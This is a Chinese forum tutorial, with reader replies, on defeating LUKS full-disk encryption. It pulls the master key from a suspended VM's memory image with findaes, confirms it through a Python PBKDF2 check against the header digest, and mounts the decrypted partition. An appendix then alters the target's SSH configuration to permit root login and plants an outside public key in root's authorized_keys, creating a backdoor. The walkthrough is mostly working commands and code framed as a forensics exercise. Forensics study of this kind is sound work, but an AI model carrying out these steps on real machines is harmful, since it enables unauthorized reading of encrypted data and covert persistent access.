Vvvvvoid 发表于 2026-5-15 22:47

LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载

本帖最后由 Vvvvvoid 于 2026-5-15 23:51 编辑


# LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载

> **免责声明**:本文仅供学习计算机取证与安全防御技术,请勿用于非法用途。理解 LUKS 的弱点,才能更好地设计防御措施(如使用 TPM、避免内存长时间存留密钥、及时关闭不用的加密分区等)。
>

---

## 背景:为什么需要这条路径?

- 目标机器已启用**全盘加密**:在分区未解锁前,无法直接读取任何文件内容。
- 同时 **SSH 登录受限**(端口/用户/认证方式均受控):即使网络可达,也无法通过远程登录拿到文件。

因此,本方案选择从「**内核内存中残留的主密钥**」入手:只要系统曾经解锁过加密盘,主密钥就有机会以明文形式驻留在内核内存中,进而实现离线解密与取证分析。

---

## 0. 原理简述

LUKS(Linux Unified Key Setup)是基于 `dm-crypt` 的磁盘加密规范。加密数据的真正密钥是 **主密钥(Master Key / Volume Key)**,它由随机数生成,以加密形式存储在 LUKS Header 的密钥槽(Keyslot)中——**用户密码并不直接参与数据加解密**,它只是用来解开 Keyslot 中封装的 Master Key。

**关键弱点**:当 LUKS 分区被 `cryptsetup open` 解锁后,Master Key 会被注册进 **Linux 内核 Keyring**(dm-crypt 通过内核 key retention 机制管理),以明文形态驻留在内核地址空间,直到分区被 `cryptsetup close` 或系统重启。因此,只要能获取目标系统的完整物理内存镜像(例如通过虚拟机挂起文件、冷启动攻击等),就可以从中提取出 Master Key,离线解密整个分区——**无需知道用户密码**。

> **注**:通过 `/dev/mem` 读取内存的方式在现代 Linux(内核 3.x 起)已受 `CONFIG_STRICT_DEVMEM` 和 `CONFIG_IO_STRICT_DEVMEM` 限制,普通用户无法直接读取任意物理内存地址。本文采用虚拟机挂起(`.vmem`)的方式绕开此限制。
>



### 三个角色 + 一个验证点

| 角色 | 说明 |
| --- | --- |
| **Passphrase** | 用户输入的口令或 Keyfile,用于「打开某个 Keyslot」,不直接参与数据区加解密 |
| **KEK(Key Encryption Key)** | 由 Passphrase 经 Keyslot 的 KDF(PBKDF2/Argon2id)派生,用来解密 Keyslot Payload,还原 Master Key |
| **Master Key(Volume Key)** | 真正交给 dm-crypt 负责数据区加解密的密钥;系统解锁后以明文注册进内核 Keyring,这是内存提取的根本原因 |
| **Digest(验证点)** | LUKS Header 中存储的「Master Key 经 KDF 运算后的指纹」,用于从大量候选 AES Key 中精确筛选出正确的 Master Key |

---

## 0.1 逆向/取证视角:Header 里哪些字段真正与 Master Key 挂钩?

LUKS Header 可以粗略分成三块:**口令解锁参数**、**Master Key 校验指纹**、**数据区解密参数**。下面按本文路线(内存提取 MK → 离线验证 → 挂载)挑最关键的说。

### A) 与 Master Key 强绑定(验证候选 Key 是否为真正的 MK)

对应 **`Digests` 段**,也是本文脚本使用的核心字段:

- `Hash` / `Iterations` / `Salt` / `Digest`

可以把它理解为 Master Key 的「派生指纹」,不是简单的 `hash(MK)`,而是以 MK 为输入的 PBKDF2 运算结果:

```
# 所有参数均从 Digests 段读取,无任何硬编码
dklen   = len(mk_digest)          # 由 Header 中存储的 Digest 字节数决定
mk_digest == PBKDF2-HMAC-{HASH_SPEC}(password=master_key, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
```

其中各参数来源:

| 参数 | 来源字段 | 说明 |
| --- | --- | --- |
| `HASH_SPEC` | `Digests.Hash` | 可以是 sha1、sha256、sha512 等,由 Header 决定,不固定 |
| `mk_salt` | `Digests.Salt` | 验证专用 salt,与 Keyslot 的 salt 无关 |
| `mk_iterations` | `Digests.Iterations` | 验证专用迭代次数 |
| `dklen` | `len(Digests.Digest)` | 读取存储的 Digest 字节数,不假设固定值 |

只有真正的 Master Key 代入计算后才能与 Header 中存储的 Digest 完全吻合。

### B) 与 Passphrase 强绑定(决定能否「用口令还原 MK」)

对应 `Keyslots` 下每个 Slot 的 KDF 参数 + 封装参数:

- `PBKDF: pbkdf2 / argon2id`(及对应的 salt、iterations / memory、time、threads 等参数)
- `Cipher / Cipher key`:加密 Keyslot Payload 使用的算法(注意:这里不是数据区的 cipher)
- `AF stripes / AF hash`:AFIS(Anti-Forensic Information Splitter)条带化参数
- `Area offset / length`:Keyslot Payload 在磁盘上的位置与长度

> **AF Stripes 的真实用途(常见误解纠正)**:AFIS 并非为了让数据「看起来噪声化」。它的真实目的是**保证密钥槽可被安全擦除**:Master Key 材料被拆分成 N 条(默认 4000)条带分散存储,重建时需要全部条带参与运算。只要任意一条被覆写,整个 Master Key 便永久不可恢复。这使得「吊销一个密钥槽」的操作在物理层面真正不可逆,是 LUKS 密钥安全删除(Secure Key Erasure)机制的核心。
>

关系链(概念上):

```
passphrase → KDF(salt, iterations) → KEK → 解密 Keyslot Payload → AFIS 复原 → master_key
```

本文路线是「绕过 Keyslot,直接从内核内存拿 MK」,所以 Keyslot 的细节不展开,但理解这条链有助于知道 Passphrase 在 LUKS 里扮演的角色。

### C) 与数据区解密强绑定(有 MK 还不够,还要知道怎么用)

对应 `Data segments` 段:

- `cipher`(如 `aes-xts-plain64` / `aes-cbc-essiv:sha256`)
- `sector`(扇区大小)
- `offset / length`(密文数据区在磁盘上的位置/长度)

关系:

```
master_key + cipher + mode + iv-generator + sector_size → 对 data segment 正确解密
```

**拿到 MK 只是「有了钥匙」,而 `Data segments` 决定「锁芯规格」(算法/模式/IV生成方式/扇区大小)。任何参数不匹配都会导致解密乱码。**

### D) 弱相关/辅助定位字段

- `UUID / Label / Subsystem / Flags / Epoch`:标识与元数据版本管理,不参与 MK 推导,但对定位同一容器、判断元数据是否被篡改有价值。
- `Tokens`(如 systemd-fido2、TPM2 绑定等):启用硬件解锁/自动解锁时,Token 提供获取解锁材料的第三条路径(本质上仍是某种方式最终拿到 KEK 或 MK)。

### 字段总结

| 目标 | 对应字段 |
| --- | --- |
| **验证候选 MK** | `Digests`(MK → PBKDF2 → Digest) |
| **从口令还原 MK** | `Keyslots`(Passphrase → KDF → KEK → 解包 + AFIS → MK) |
| **用 MK 解密数据** | `Data segments`(MK + cipher / mode / IV / offset / sector) |

---

## 1. 环境准备

本文操作需要**两台虚拟机** 配合:

| 角色 | 说明 |
| --- | --- |
| **VM1(目标机)** | 将加密硬盘作为物理启动盘,让系统自行解锁并引导,挂起后获取 `.vmem` 内存镜像文件 |
| **VM2(分析机)** | 普通 Linux 系统,以只读方式附加同一块加密硬盘,读取 LUKS Header 元数据,运行 Python 脚本验证候选密钥,最终挂载解密分区 |

**所需工具:**

- **VMware Workstation**(或其他支持挂起并生成 `.vmem` 的虚拟化软件)
- **目标加密硬盘**(通过 USB/Type-C 转接连接到宿主机,透传给 VMware)
- **`findaes`**((https://github.com/marlkiller/findaes/releases) 或自行编译)—— 运行在宿主机 Windows 上,扫描 `.vmem` 文件
- **`cryptsetup`**(安装在 VM2 分析机 Linux 中)
- **Python 3**(安装在 VM2 分析机中,用于离线验证候选密钥)

---

## 2. VM1:获取目标内存镜像(.vmem 文件)

### 2.1 准备并启动 VM1

1. 新建一个空虚拟机(无需安装系统),将目标加密硬盘配置为**唯一的物理启动盘**,并启用 UEFI 引导。
2. 启动 VM1。系统会从加密硬盘引导,自行完成 LUKS 解密并进入系统——此时 Master Key 已明文注册进内核 Keyring,驻留在物理内存中。
3. **确认系统已完全进入桌面或 Shell**(确保 LUKS 分区已完成解锁),然后在 VMware 菜单中执行 **挂起(Suspend)** 操作。

挂起完成后,VMware 将整个虚拟机内存(包含内核地址空间)转储到 `.vmem` 文件,通常位于 VM1 的目录下,例如 `vm1-fbbf6382.vmem`。







### 2.2 使用 findaes 扫描内存文件

在宿主机 Windows 上执行:

```
D:\\Download\\findaes-1.2\\findaes.exe vm1-fbbf6382.vmem
```

输出示例:

```
Searching vm1-fbbf6382.vmem
Found AES-256 key schedule at offset 0x4fd4970:
91 cd 40 07 18 fa 2f 0c 4c 63 e1 d6 d0 93 17 58 aa 98 75 47 b9 3f 11 32 6b 33 15 e1 98 66 04 c5
Found AES-256 key schedule at offset 0x6adaa30:
4a 3e e5 15 8f ec a1 1c fe b0 ae a1 1f 8d ce 32 30 5f a0 1d ba 83 0f 4d 10 52 d8 e5 f4 36 62 2b
Found AES-256 key schedule at offset 0x7eeac10:
...
```

**findaes 工作原理**:AES 在运行时会将原始密钥扩展成一张「轮密钥表(Key Schedule)」(AES-256 展开后约 240 字节),用于每轮加密运算。`findaes` 通过识别内存中符合 AES Key Schedule 数学结构的特征模式来定位它,然后从展开表中**反推还原**出原始的 32 字节密钥并输出。因此每行输出的是还原后的 **32 字节原始候选密钥**,而非 Key Schedule 本身。

候选密钥中可能包含大量误报(来自其他加密任务),需通过下一步的 PBKDF2 验证精确筛选。将所有输出的十六进制行复制保存备用。

---

## 3. VM2:获取 LUKS Header 元数据

在分析机 VM2(普通 Linux 系统)中,将同一块加密硬盘以**只读方式**附加(本例通过 M.2 转 USB 连接到 VMware 虚拟机)。




> 此步骤只需读取 LUKS Header 元数据,不需要解密分区内容,无需输入密码。
>

```bash
# 确认 LUKS 分区
blkid | grep crypto_LUKS
lsblk -f
```

输出示例:

```
# blkid | grep crypto_LUKS
/dev/sdc2: UUID="3ad80234-82e6-4ce7-9a7c-cd346e2c6b36" TYPE="crypto_LUKS"
/dev/sdc3: UUID="9c16e072-21a3-405e-9845-0516ab517893" TYPE="crypto_LUKS"
```

读取目标分区(本例为 `/dev/sdc2`)的完整 Header 信息:

```bash
cryptsetup luksDump /dev/sdc2
```

输出示例:

```
LUKS header information
Version:      2
Epoch:          4
Metadata area:16384
Keyslots area:16744448
UUID:         3ad80234-82e6-4ce7-9a7c-cd346e2c6b36
Label:          (no label)
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
0: crypt
      offset: 16777216
      length: (whole device)
      cipher: aes-cbc-essiv:sha256
      sector: 512

Keyslots:
0: luks2
      Key:      256 bits
      Priority:   normal
      Cipher:   aes-cbc-essiv:sha256
      Cipher key: 256 bits
      PBKDF:      pbkdf2
      Hash:       sha256
      Iterations: 8858086
      Salt:       a5 45 c7 a8 3a 2d 8d 95 fc bd da b0 c0 a4 ad a4
                  2c 62 f3 d7 d0 d8 1d a8 9d ed 5c 51 eb f9 7b 0f
      AF stripes: 4000
      AF hash:    sha256
      Area offset:32768
      Area length:131072
      Digest ID:0
Tokens:
Digests:
0: pbkdf2
      Hash:       sha256
      Iterations: 551301
      Salt:       56 d0 61 f5 bc fd 43 4f 2e c9 06 41 ab 20 10 f1
                  bd 23 5e 1b 04 a4 4f 02 9d 66 24 65 87 0a f8 71
      Digest:   67 8e d2 4c ff d9 22 e8 73 73 86 6e 3a 6f 0b 57
                  30 eb 35 1c d6 36 db 17 4b 4c c1 b8 4d e2 3c 78
```

**记录 `Digests` 段中的以下关键值**,供验证脚本使用:

| 字段 | 本例值 |
| --- | --- |
| `Hash` | `sha256` |
| `Iterations` | `551301` |
| `Salt` | `56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871` |
| `Digest` | `678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78` |

---

## 4. VM2:离线验证候选主密钥

**验证原理**:对每个候选密钥 `K`,依照 `Digests` 段中记录的参数计算:

```
dklen= len(mk_digest)          # 从 Header 存储的 Digest 字节数读取,不硬编码
result = PBKDF2-HMAC-{HASH_SPEC}(password=K, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
```

其中 `HASH_SPEC` 来自 `Digests.Hash`(本例为 sha256,但可以是任意算法),三个参数均从 Header 中读取,无硬编码假设。若 `result == mk_digest`,则 `K` 即为真正的 Master Key。

将 `findaes` 输出的候选密钥列表和上一步得到的 LUKS 元数据填入以下脚本,在 VM2 中运行:

```python

#!/usr/bin/env python3
"""
基于 LUKS2 header 的离线主密钥验证(PBKDF2 方式)
Usage: python3 test_luks_key.py(不需要 root,纯离线计算)
"""

import hashlib
import binascii
import sys

# ── 从 cryptsetup luksDump /dev/sdc2 的 Digests 段直接填入 ──
HASH_SPEC= "sha256"
device = "/dev/sdc2"
ITERATIONS = 551301
MK_SALT    = "56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871"
MK_DIGEST= "678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78"



# ── 候选主密钥(从 findaes.exe 或取)──
KEY_HEX_LIST = [
    '91cd400718fa2f0c4c63e1d6d0931758aa987547b93f11326b3315e1986604c5',
    '4a3ee5158feca11cfeb0aea11f8dce32305fa01dba830f4d1052d8e5f436622b',
    'd281ce0de42ce741779071f097a98e1ecf1a22b41054282d3150a9ee572e6712',
    ......
]
# ────────────────────────────────────────────────────────────


def clean(hex_str):
    return "".join(hex_str.split())


def verify_key(key_hex):
    key_bytes    = bytes.fromhex(clean(key_hex))
    salt_bytes   = bytes.fromhex(clean(MK_SALT))
    digest_bytes = bytes.fromhex(clean(MK_DIGEST))
    dklen      = len(digest_bytes)   # sha256 → 32 字节

    x = hashlib.pbkdf2_hmac(
      HASH_SPEC,
      key_bytes,
      salt_bytes,
      ITERATIONS,
      dklen=dklen
    )
    return x == digest_bytes


def main():
    print("=" * 60)
    print(f"LUKS2 主密钥离线验证({device})")
    print("=" * 60)
    print(" Hash      : {}".format(HASH_SPEC))
    print(" Iterations: {}".format(ITERATIONS))
    print(" Salt      : {}".format(clean(MK_SALT)))
    print(" Digest    : {}".format(clean(MK_DIGEST)))
    print(" 候选密钥: {} 个".format(len(KEY_HEX_LIST)))
    print()

    found = None
    for idx, key_hex in enumerate(KEY_HEX_LIST, start=1):
      key_hex = key_hex.strip()
      print("[{}/{}] 测试: {}".format(idx, len(KEY_HEX_LIST), key_hex))

      if len(clean(key_hex)) != 64:
            print("    [-] 长度错误(需 64 个字符),跳过")
            continue

      try:
            ok = verify_key(key_hex)
      except Exception as e:
            print("    [!] 异常: {}".format(e))
            continue

      if ok:
            found = key_hex
            print("    ✅ PBKDF2 验证通过,主密钥正确!")
            break
      else:
            print("    ❌ 不匹配")

    print()
    print("=" * 60)
    if found:
      print("✅有效主密钥:")
      print("    {}".format(clean(found)))
      print()
    else:
      print("❌所有候选密钥均不匹配。")
    print("=" * 60)

if __name__ == "__main__":
    main()

```


运行:   
```bash
python3 verify_luks_mk.py
```


找到正确主密钥后,可直接执行的挂载命令。



---

## 5. VM2:使用 Master Key 直接挂载 LUKS 分区

在 VM2 中执行(以 `/dev/sdc2` 为例,将 `<master_key_hex>` 替换为实际找到的主密钥):



```bash
# 1. 将十六进制主密钥转换为二进制密钥文件
echo '<master_key_hex>' | xxd -r -p > /tmp/mk.bin

# 2. 通过主密钥打开 LUKS 分区(建立 device mapper 映射)
device="sdc2"

# cryptsetup < 2.4(旧版)
sudo cryptsetup--debugopen --master-key-file /tmp/mk.bin "/dev/${device}" "${device}"

# cryptsetup >= 2.4(新版,--master-key-file 已废弃,改用 --volume-key-file)
# sudo cryptsetup --debug open --type luks2 --key-size 256 --volume-key-file /tmp/mk.bin "/dev/${device}" "${device}"

# 追加 --debug 参数输出详细日志,便于排错

# 3. 挂载解密后的设备
sudo mkdir -p "/mnt/${device}"
sudo mount "/dev/mapper/${device}" "/mnt/${device}"

# 4. 查看数据
ls -la "/mnt/${device}"

# 5. 操作完毕后卸载并关闭(释放 device mapper 映射)
sudo umount "/mnt/${device}"
sudo cryptsetup close "${device}"

# 6. 删除明文密钥文件
rm -f /tmp/mk.bin
```   


成功后,device mapper 的映射关系如下:

```
[ 物理加密硬盘 ]
       |
       v
/dev/sdc2                  ← 原始 LUKS 分区(密文)
       |
       | cryptsetup open --volume-key-file /tmp/mk.bin
       v
/dev/mapper/sdc2             ← dm-crypt 解密后的虚拟块设备
       |
       | mount
       v
/mnt/sdc2                  ← 可正常读写的文件系统挂载点
```

> 解密后的设备出现在 `/dev/mapper/` 下,名称由你在 `cryptsetup open` 命令中指定。至此加密盘内容可完全读取。
>
>
> **验证技巧**:可用 `dmsetup table --target crypt --showkey` 查看当前所有 dm-crypt 映射及其使用的密钥,确认挂载是否正确。
>

---

## 附:解密后修改 SSH 配置实现免密登录

成功挂载目标系统的加密盘后,可直接修改其 SSH 配置文件以实现后续免密登录。

**重要**:以下所有路径均以**挂载点为前缀**(本例为 `/mnt/sdc2`)。若省略前缀,操作的将是分析机 VM2 自身的文件系统,而非目标盘。

**1. 修改 SSH 监听端口**

```bash
1. 查看 SSH 端口
2. 允许 root 登录
3. 开启公钥认证
4. 公钥添加
- 位置: /root/.ssh/authorized_keys
- 内容: ssh-rsa AAAA... marlkiller@voidm.com
5. 权限设置
chown -R root:root /root/.ssh && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && ls -la /root/.ssh/


6. 连接命令
ssh -v -i id_rsa -p 2022 root@192.168.1.1
```

---

## 6. 补充说明

- `findaes` 可能输出大量假 Key(来自其他加密任务的 AES Key Schedule),PBKDF2 验证可精确筛出唯一正确的 Master Key。
- 如果目标系统使用 **LUKS1**,`cryptsetup luksDump` 输出格式有所不同(MK-digest 位于 Header 固定偏移处,结构与 LUKS2 的 Digests 段不同),但提取和验证的核心原理相同。
- 本方法的前提:**目标系统必须处于运行状态且 LUKS 分区已完成解锁**。已关机或从未解锁的系统,内核 Keyring 中不存在明文 Master Key,无法通过此方式提取。
- VM1 挂起前务必确认系统已完全进入(而非停留在 LUKS 解密提示界面)。
- VM2 可以是任意 Linux 发行版(Live CD 亦可),只需能识别 LUKS 分区并已安装 `cryptsetup` 和 Python 3。

---

## 7. 参考链接

- (https://blog-archive.betamao.me/2019/10/27/LUKS%E5%85%A8%E7%9B%98%E4%BF%9D%E6%8A%A4%E5%88%86%E6%9E%90/)
- (https://github.com/marlkiller/findaes)
- (https://gitlab.com/cryptsetup/cryptsetup/-/wikis/home)
- (https://gitlab.com/cryptsetup/LUKS2-docs)

Clarence210 发表于 2026-5-16 10:59

记录下获取内存数据的方法之一

adu3110 发表于 2026-5-16 14:33

感谢分享,获取内存方法

镜花水月-陌上桑 发表于 2026-5-16 16:13

感谢分享感谢大佬

冥界3大法王 发表于 2026-5-16 16:36

@Vvvvvoid 德国的Mount Image Pro不知能不能分析下。老外的爆破全假货。

DeEpin_Gh0st 发表于 2026-5-16 23:03

感谢大佬分享,最近正好碰到一个LUKS加密的系统{:1_893:}

ZsirQAQ 发表于 2026-5-16 23:56

这个好感谢分享

chlong 发表于 2026-5-17 10:14

这也太溺害了吧{:1_927:}{:1_927:}

leechjia 发表于 2026-5-18 06:34

太高级了,加密软件还安全吗?比如PGP。

Avoid98 发表于 2026-5-27 09:50

那些黑盒应用它们的原理是什么,能正常引导 但是你按e的时候有需要你输入luks密码,但是进入指定的应用又是可以的,这种我扫内存也没找到masterkey
页: [1]
查看完整版本: LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载